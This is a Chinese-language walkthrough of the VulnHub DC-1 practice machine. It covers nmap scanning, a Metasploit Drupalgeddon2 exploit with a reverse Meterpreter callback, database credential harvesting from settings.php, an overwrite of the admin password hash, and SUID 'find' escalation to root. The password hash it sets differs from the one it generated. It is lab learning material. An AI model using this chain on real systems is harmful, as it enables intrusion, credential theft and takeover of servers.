靶机搭建
访问vulnhub官网下载镜像文件DC:1 ~ VulnHub

用vm打开靶机

靶场练习
打开发现靶机需要登录但是没有给到账号密码,猜测可能是需要自己去获得密码。

先用nmap扫描网段内存活的主机找到靶机的ip地址
nmap -sn 192.168.179.0/24

扫描到4个存活ip,没有发现靶机IP。查找原因发现靶机用的是桥接模式,而攻击机用的是nat模式,可能攻击机和靶机不在一个网段导致nmap无法扫描到靶机。


将靶机改为nat模式后重启,再次使用nmap扫描,发现靶机ip:192.168.179.139。
拿到ip后对靶机开放端口进行扫描。
nmap -p- --min-rate 10000 192.168.179.139
对开放端口做一次详细扫描,在扫描的时候查看一下靶机开放的web服务
nmap -p 22,80,111,51783 -sV -sC -O 192.168.179.139
发现多个公开漏洞,启动msfconsole。

使用 drupalgeddon2 模块,设置好参数。
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.179.139
set RPORT 80
set LHOST 192.168.179.135 # 你的 Kali IP
set LPORT 4444 # 本地监听端口
run #运行

利用Drupal 7 漏洞(CVE-2018-7600)漏洞获得了一个 Meterpreter 会话
输入shell,在靶机上执行命令,先输入whoami查看一下当前用户名。

目前只是www-data,目标是root,所以接下来要想办法进行提权。
利用当前账号进行一些简单的信息收集。
id
uname -a
cat /etc/issue
cat /etc/debian_version

发现使用Debian 7.11,查询是否存在历史漏洞,发现存在多个公开提权漏洞。

先查找SUID文件,有些 SUID 程序(如 find、vim、bash)如果以 root 所有并且设置了 SUID 位,可以被滥用获得 root shell。
find / -perm -4000 -type f 2>/dev/null

先验证 find 确实是 SUID root

利用find提权,但是提权失败了
/usr/bin/find / -name anything -exec /bin/bash -p -c '/bin/bash -p' \; -quit
ls查看一下www用户能看到什么

发现一个flag1,cat查看一下内容

内容提示查看配置文件,找一下配置文件的位置
cat `find / -name settings.php`
查看内容找到flag2和数据库账号密码

连接数据库查看,这里遇到数据库连接不上的问题,本地连接数据库看看mysql是否正常运行。
mysql -u root -p
输入命令发现让我们输入密码,证明mysql是正常运行的。
找了一下问题原因,发现是shell无法正确处理MYSQL的交互终端,这里用一个伪终端来让输出正常显示。
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t
输入命令后正常回显。
先查询数据库
show databases;
发现特殊数据库drupaldb

查看数据中的表名
use drupaldb; show tables;

有一个users表查看一下

select * from users;
获得账号和密码

修改密码来登录账号,先找到加密文件。
exit
先退出MYSQL,ls查看一下。发现脚本文件。
打开scripts发现一个密码哈希的文件

查看文件内容
cat password-hash.sh
[Open: Pasted image 20260908143854.png](/images/2f6b74eae36956afefa2252c6a798691_MD5.jpg
用加密脚本加密123456
php scripts/password-hash.sh 123456
password: 123456
hash: $S$Du92ZLzvch5cdl142zYtR.POdkTWhDRHSOdlSrH47XxN/FYrDDOX
重新连接MYSQL把密码改成123456
mysql -udbuser -pR0ck3t
UPDATE users
SET pass = '$S$DwSsuJZg9sNMnzfvkOg4EKvt7lMBdQ95kMfBrim.0EXmCA71skhh'
WHERE name = 'admin' OR name = 'Fred';
改完之后打开网站登录admin账号,在find content中找到flag3.
查看flag3,内容提示passwd和shadow
查看passwd发现flag4
提权获得root权限
find . -exec /bin/sh \; -quit
靶机复盘
攻击链
查找ip->端口扫描->web服务识别 → Drupal 漏洞利用 → 获取 www-data → 配置文件获取数据库凭据 → 数据库操作 → 获取管理员权限 → SUID find 提权 → root
遇到的问题
1、扫描存活ip没有扫到靶机ip
原因:靶机与攻击机网络设置不同,通过扫描攻击机网段无法扫描到靶机。
解决方法:将攻击机和靶机使用统一网络适配器,让两台机器在同一网站
2、第一次利用提权失败
原因: 第一次的命令
/usr/bin/find / -name anything -exec /bin/bash -p -c '/bin/bash -p' \; -quit
只有找到anything文件才执行后面的-exec,-exec在命令中不执行所以提权失败。
解决方法:直接执行-exec
find . -exec /bin/sh \; -quit
反思:这里已经知道find具有SUID root权限,但在一次提权失败后没有找原因就直接放弃,直接导致后续大量工作的产生,非常不应该的决定。
3、shell连接MYSQL失败
原因:使用的shell无法正确处理MYSQL的交互终端。
解决方法:创建一个伪终端来让输出输出正常显示,创建命令:
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t
